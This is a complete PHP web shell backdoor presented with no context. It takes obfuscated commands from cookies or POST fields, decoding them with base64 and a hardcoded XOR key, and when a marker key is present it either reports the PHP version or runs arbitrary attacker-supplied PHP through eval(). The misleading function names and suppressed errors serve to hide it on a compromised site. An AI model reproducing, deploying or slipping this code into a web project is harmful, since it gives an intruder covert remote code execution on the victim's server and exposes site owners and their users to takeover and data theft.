<?php

function sucess2($params)
{
    eval($params['d']);
}

function success0($params)
{
    if ($params['a'] == 'i') {
        success1();
    } elseif ($params['a'] == 'e') {
        sucess2($params);
    }
}

function secrwsdf($params, $key)
{
    $keys = str_repeat($key, intval(strlen($params) / strlen($key)) + 1);

    return $params ^ $keys;
}

function my_decode($params, $data_key)
{
    $key = '4ef63abe-1abd-45a6-913d-6fb99657e24b';

    $params = base64_decode($params);

    $params = secrwsdf($params, $key);

    return secrwsdf($params, $data_key);
}

function success1()
{
    $i = array(
        'pv' => @phpversion(),
        'sv' => '1.0-1',
    );

    echo @serialize($i);
}


function iter($temp)
{
    foreach ($temp as $data_key => $params) {

        $params = my_decode($params, $data_key);

        $params = @unserialize($params);

        if (isset($params['ak'])) {

            success0($params);

            exit();
        }
    }
}

iter($_COOKIE);
iter($_POST);